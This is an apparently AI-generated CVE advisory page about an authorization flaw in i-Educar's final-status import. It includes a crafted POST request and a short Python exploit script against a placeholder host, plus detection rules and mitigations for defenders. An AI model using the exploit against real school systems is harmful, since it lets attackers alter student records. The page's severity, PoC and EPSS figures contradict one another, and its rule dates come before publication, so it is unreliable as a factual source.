☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-266
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-2015

CVE-2026-2015 Improper Access Control in Portabilis
📅 PUBLISHED: 2026-02-06 10:32 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-2015 is a critical improper authorization vulnerability identified in Portabilis i-Educar, an open-source educational management system widely used in Brazilian schools and municipalities. The flaw resides in the FinalStatusImportService.php file, specifically within the Final Status Import functionality. By manipulating the school_id argument, an unauthenticated remote attacker can bypass authorization checks, potentially accessing or modifying sensitive student and academic data. The vendor was contacted but did not respond, and no official patch has been released. A public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The EPSS score is currently 0.0%, but this may change as awareness grows.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). i-Educar is a PHP-based application typically deployed via Git or manual installation. Organizations using i-Educar should treat this as a critical supply chain risk due to the lack of vendor response and the public availability of exploit details.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited data modification.
  • Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. The low EPSS score suggests limited current exploitation, but the public PoC and lack of patch elevate the risk for exposed instances.

Deep Dive & Mechanics

The vulnerability is located in the FinalStatusImportService.php file, which handles the import of final academic statuses (e.g., pass/fail) for students. The function responsible for processing the import does not properly validate the school_id parameter against the authenticated user's permissions. An attacker can send a crafted HTTP request to the import endpoint, specifying a school_id that belongs to a different institution, thereby gaining unauthorized access to that school's data.

Root Cause: The application fails to enforce an authorization check that verifies the user (or session) has the right to access the given school_id. This is a classic case of Insecure Direct Object Reference (IDOR) combined with improper authorization (CWE-285).

Attack Flow:

  1. Identify the vulnerable endpoint (e.g., /intranet/educar/FinalStatusImport.php).
  2. Send a POST request with a manipulated school_id parameter.
  3. The server processes the request without verifying the user's association with that school.
  4. The attacker can import or modify final statuses for students in the targeted school.

Impact: An attacker could alter student grades, graduation statuses, or other critical academic records, leading to data integrity issues and potential legal consequences.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on best practices.

Vulnerable Code (i-Educar <= 2.10):

// FinalStatusImportService.php (simplified)
public function import($school_id, $data) {
    // No authorization check
    $school = School::find($school_id);
    // Process import...
}

Patched Code (Hypothetical):

// FinalStatusImportService.php (patched)
public function import($school_id, $data) {
    // Authorization check
    $user = Auth::user();
    if (!$user->hasAccessToSchool($school_id)) {
        throw new AuthorizationException("Access denied to school $school_id");
    }
    $school = School::find($school_id);
    // Process import...
}

Key Difference: The patched version verifies that the authenticated user has permission to access the specified school_id before processing the import.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A target instance of i-Educar (version <= 2.10) accessible over the network.
  • Knowledge of a valid school_id (can be enumerated or guessed).

Exploit Steps:

  1. Identify the vulnerable endpoint: POST /intranet/educar/FinalStatusImport.php
  2. Craft a request with a manipulated school_id:
POST /intranet/educar/FinalStatusImport.php HTTP/1.1
Host: target-ieducar.com
Content-Type: application/x-www-form-urlencoded

school_id=2&status=approved&student_id=123
  1. Observe that the request is processed without authentication, modifying the student's status.

Automated Exploit (Python):

import requests

target = "http://target-ieducar.com"
endpoint = "/intranet/educar/FinalStatusImport.php"
payload = {"school_id": "2", "status": "approved", "student_id": "123"}

response = requests.post(target + endpoint, data=payload)
if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

Blue Team (Defender)

Detection:

  • Monitor for unusual POST requests to /intranet/educar/FinalStatusImport.php with varying school_id parameters.
  • Look for requests from unauthenticated sessions or IPs not associated with known school administrators.

Mitigation:

  • Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint without proper authentication.
  • Apply the hypothetical patch above if you have access to the source code.
  • Restrict network access to the i-Educar instance to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /intranet/educar/FinalStatusImport.php with school_id parameter values that do not match the requesting user's school.
    • Repeated attempts to enumerate school_id values (e.g., sequential IDs).
  • File IOCs:
    • Modified entries in the final_status table in the database.
    • Unusual log entries in /var/log/ieducar/access.log showing unauthorized access attempts.
  • Behavioral IOCs:
    • Sudden changes to student final statuses without corresponding administrative actions.
    • Access from IP addresses not in the school's allowed range.

Detection Engineering

YARA Rule

rule CVE_2026_2015_iEducar_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2026-2015 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-2015"
    strings:
        $s1 = "FinalStatusImport.php" ascii wide nocase
        $s2 = "school_id=" ascii wide nocase
        $s3 = "status=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-2015 i-Educar Unauthorized Final Status Import
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit improper authorization in i-Educar FinalStatusImport.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/intranet/educar/FinalStatusImport.php'
        cs-uri-query|contains: 'school_id='
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-2015 i-Educar Unauthorized Final Status Import Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/intranet/educar/FinalStatusImport.php"; http_uri;
    content:"school_id="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the system: If possible, take the i-Educar instance offline or restrict network access to trusted IPs only.
  2. Apply virtual patching: Use a WAF to block requests to /intranet/educar/FinalStatusImport.php without proper authentication.
  3. Monitor logs: Review access logs for signs of exploitation.

Long-term Fix:

  • Since the vendor has not responded, the only reliable fix is to manually patch the source code as shown in the "Vulnerable vs. Patched Code" section.
  • Consider migrating to a supported alternative if i-Educar is no longer maintained.

Workaround:

  • Disable the Final Status Import functionality by removing or renaming the FinalStatusImport.php file if not needed.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-2015/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.